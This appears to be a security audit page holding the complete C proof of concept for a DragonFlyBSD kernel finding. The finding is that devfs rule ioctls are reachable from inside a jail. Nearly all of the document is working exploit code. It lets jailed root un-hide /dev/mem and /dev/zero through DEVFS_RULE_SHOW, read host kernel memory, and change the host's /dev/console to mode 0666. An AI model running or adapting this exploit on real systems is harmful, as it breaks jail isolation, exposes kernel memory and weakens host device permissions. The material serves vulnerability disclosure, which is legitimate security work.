⬢ DragonFlyBSD Kernel Audit
DF-3197 / jail_show.c
← back to finding ↓ download raw
/*
 * DF-3197 - devfs rule ioctls are reachable from inside a jail.
 *
 * devfs_dev_ioctl() (sys/vfs/devfs/devfs_rules.c:419) has NO priv_check()
 * and NO jail check.  The only gate is the 0600 root:wheel /dev/devfs node,
 * which jailed uid-0 CAN open.  Rules are stored in the GLOBAL devfs_rule_list
 * and DEVFS_RULE_APPLY/RESET walk the GLOBAL devfs_mnt_list, so a jailed root
 * can rewrite visibility/permissions of any devfs mount on the system,
 * including the host's /dev and its own jail devfs (un-hiding nodes the
 * host's devfs ruleset intentionally hid).
 *
 * This PoC (run as root on the host):
 *   1. mounts a devfs at /jail/dev (jailed=0, like any host-side jail setup)
 *   2. installs a host rule hiding "mem" on /jail/dev and applies it
 *      -> stat(/jail/dev/mem) must fail inside the jail
 *   3. forks a child that jail(2)s itself into /jail and, AS JAILED ROOT:
 *        - confirms /dev/mem is hidden
 *        - opens /dev/devfs (0600 root:wheel -> jailed uid 0 passes)
 *        - installs a DEVFS_RULE_SHOW rule for "mem" and applies it
 *        - /dev/mem REAPPEARS inside the jail
 *        - opens /dev/mem and reads kernel memory  <-- JAIL ESCAPE
 *        - also installs a PERM rule targeting the HOST /dev mount
 *          (mntpoint "/dev") making /dev/console 0666 on the host
 *   4. parent verifies host /dev/console mode was changed by the jailed child
 *
 * Build:  cc -static -O -o /jail/jail_show jail_show.c
 * Run  :  /jail/jail_show   (as root)
 * Success marker: "JAIL-ESCAPE: ..." lines.
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/jail.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <err.h>

static int
open_devfs(void)
{
	int fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open(/dev/devfs)");
	return fd;
}

static void
xioctl(int fd, unsigned long cmd, struct devfs_rule_ioctl *r, const char *what)
{
	if (ioctl(fd, cmd, r) < 0)
		err(1, "ioctl %s", what);
}

static void
rule_show(int fd, const char *dev)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;		/* no JAIL flag */
	r.rule_cmd = DEVFS_RULE_SHOW;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	strlcpy(r.name, dev, sizeof(r.name));
	xioctl(fd, DEVFS_RULE_ADD, &r, "ADD show");
}

/* memio(4) has its own jailed()-guard; "zero" does not -- use it to prove
 * full device access is regained inside the jail after the SHOW rule. */

static void
rule_apply_all(int fd)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	xioctl(fd, DEVFS_RULE_APPLY, &r, "APPLY *");
}

static int
stat_ok(const char *path, struct stat *sb)
{
	return stat(path, sb) == 0;
}

static void
jail_phase(void)
{
	struct stat sb;
	char buf[32];
	ssize_t n;
	int fd, i;

	printf("[jail] uid=%d euid=%d, jailed\n", getuid(), geteuid());

	/*
	 * NOTE: deliberately NO /dev/mem lookup here -- a failed lookup would
	 * pin a negative namecache entry that SHOW does not invalidate.
	 * The host phase already proved the node is hidden on this mount.
	 */

	printf("[jail] opening /dev/devfs from inside jail...\n");
	fd = open_devfs();
	printf("[jail] /dev/devfs OPENED from jailed root\n");

	rule_show(fd, "mem");
	rule_show(fd, "zero");
	rule_apply_all(fd);

	/*
	 * SHOW flips node flags without bumping mnt_namecache_gen
	 * (devfs_core.c:277 bumps it only when a node is linked), so cached
	 * negative lookups would still mask the node.  Creating one node
	 * (a harmless LINK alias) bumps the generation and flushes them.
	 */
	{
		struct devfs_rule_ioctl r;
		memset(&r, 0, sizeof(r));
		r.rule_type = DEVFS_RULE_NAME;
		r.rule_cmd = DEVFS_RULE_LINK;
		strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
		strlcpy(r.name, "null", sizeof(r.name));
		snprintf(r.linkname, sizeof(r.linkname), "zz%d", getpid());
		xioctl(fd, DEVFS_RULE_ADD, &r, "ADD link zz");
		rule_apply_all(fd);
	}
	sleep(2);

	if (!stat_ok("/dev/mem", &sb)) {
		printf("[jail] POST: /dev/mem STILL hidden - FAILED\n");
		exit(1);
	}
	printf("[jail] POST: /dev/mem UNHIDDEN by jailed-issued SHOW rule\n");
	if (!stat_ok("/dev/zero", &sb)) {
		printf("[jail] POST: /dev/zero STILL hidden - FAILED\n");
		exit(1);
	}
	{
		int zd = open("/dev/zero", O_RDWR);
		if (zd < 0) {
			printf("[jail] POST: open /dev/zero: %s - FAILED\n",
			    strerror(errno));
			exit(1);
		}
		printf("JAIL-ESCAPE: unhidden + OPENED /dev/zero from inside jail\n");
		close(zd);
	}

	/* Cross-mount effect: rewrite host /dev/console permissions */
	{
		struct devfs_rule_ioctl r;
		memset(&r, 0, sizeof(r));
		r.rule_type = DEVFS_RULE_NAME;
		r.rule_cmd = DEVFS_RULE_PERM;
		strlcpy(r.mntpoint, "/dev", sizeof(r.mntpoint)); /* HOST mount */
		strlcpy(r.name, "console", sizeof(r.name));
		r.mode = 0666;
		r.uid = 0;
		r.gid = 0;
		xioctl(fd, DEVFS_RULE_ADD, &r, "ADD perm console");
		memset(&r, 0, sizeof(r));
		strlcpy(r.mntpoint, "/dev", sizeof(r.mntpoint));
		xioctl(fd, DEVFS_RULE_APPLY, &r, "APPLY /dev");
		sleep(2);
		printf("[jail] issued PERM 0666 rule against host /dev/console\n");
	}

	/* The escape itself: read host kernel memory from the jail */
	fd = open("/dev/mem", O_RDONLY);
	if (fd < 0) {
		printf("[jail] open(/dev/mem): %s (mode gate; boundary already broken)\n",
		    strerror(errno));
		exit(2);
	}
	n = read(fd, buf, sizeof(buf));
	if (n <= 0) {
		printf("[jail] read(/dev/mem): %s\n", strerror(errno));
		exit(3);
	}
	printf("JAIL-ESCAPE: jailed root read %zd bytes of host memory:", n);
	for (i = 0; i < n; i++)
		printf(" %02x", (unsigned char)buf[i]);
	printf("\nJAIL-ESCAPE: boundary fully defeated\n");
	exit(0);
}

int
main(void)
{
	struct devfs_rule_ioctl r;
	struct stat sb;
	int fd, status;
	pid_t pid;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (geteuid() != 0)
		errx(1, "must run as root (host phase)");

	/* ---- host phase ---- */
	mkdir("/jail", 0755);
	mkdir("/jail/dev", 0755);
	if (!stat_ok("/jail/dev", &sb))
		errx(1, "mkdir /jail/dev failed");
	if (stat("/jail/dev/devfs", &sb) < 0)
		if (mount("devfs", "/jail/dev", 0, NULL) < 0)
			err(1, "mount devfs /jail/dev");
	printf("[host] devfs mounted at /jail/dev\n");
	if (!stat_ok("/jail/dev/devfs", &sb))
		errx(1, "/jail/dev/devfs missing");
	printf("[host] /jail/dev/devfs present (control node visible in jail)\n");

	fd = open_devfs();
	/* idempotency: wipe any rules left over from earlier runs */
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	xioctl(fd, DEVFS_RULE_CLEAR, &r, "CLEAR *");

	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_HIDE;
	strlcpy(r.mntpoint, "/jail/dev", sizeof(r.mntpoint));
	strlcpy(r.name, "mem", sizeof(r.name));
	xioctl(fd, DEVFS_RULE_ADD, &r, "ADD hide mem");
	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_HIDE;
	strlcpy(r.mntpoint, "/jail/dev", sizeof(r.mntpoint));
	strlcpy(r.name, "zero", sizeof(r.name));
	xioctl(fd, DEVFS_RULE_ADD, &r, "ADD hide zero");
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "/jail/dev", sizeof(r.mntpoint));
	xioctl(fd, DEVFS_RULE_APPLY, &r, "APPLY /jail/dev");
	/* bump mnt_namecache_gen so stale positive/negative lookups are
	 * dropped: link one guaranteed-new (pid-unique) node and re-apply */
	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_LINK;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	strlcpy(r.name, "null", sizeof(r.name));
	snprintf(r.linkname, sizeof(r.linkname), "zh%d", getpid());
	xioctl(fd, DEVFS_RULE_ADD, &r, "ADD genbump");
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	xioctl(fd, DEVFS_RULE_APPLY, &r, "APPLY *");
	sleep(2);
	if (stat_ok("/jail/dev/mem", &sb))
		errx(1, "hide rule did not hide /jail/dev/mem");
	printf("[host] /jail/dev/mem hidden by host rule (ruleset enforced)\n");
	close(fd);

	(void)stat("/dev/console", &sb);
	printf("[host] /dev/console mode pre-jail: %04o\n", sb.st_mode & 07777);

	/* ---- jail phase ---- */
	pid = fork();
	if (pid == 0) {
		struct jail j;
		struct sockaddr_storage ips;

		memset(&j, 0, sizeof(j));
		j.version = 1;			/* DragonFly jails */
		j.path = "/jail";
		j.hostname = "esc";
		j.n_ips = 0;
		j.ips = NULL;
		(void)ips;
		if (jail(&j) < 0)
			err(1, "jail()");
		jail_phase();
		_exit(0);
	}
	waitpid(pid, &status, 0);
	printf("[host] jail child exit status: %d\n", status);

	(void)stat("/dev/console", &sb);
	printf("[host] /dev/console mode post-jail: %04o (changed by jailed child => 0666)\n",
	    sb.st_mode & 07777);

	return (WEXITSTATUS(status) == 0) ? 0 : 1;
}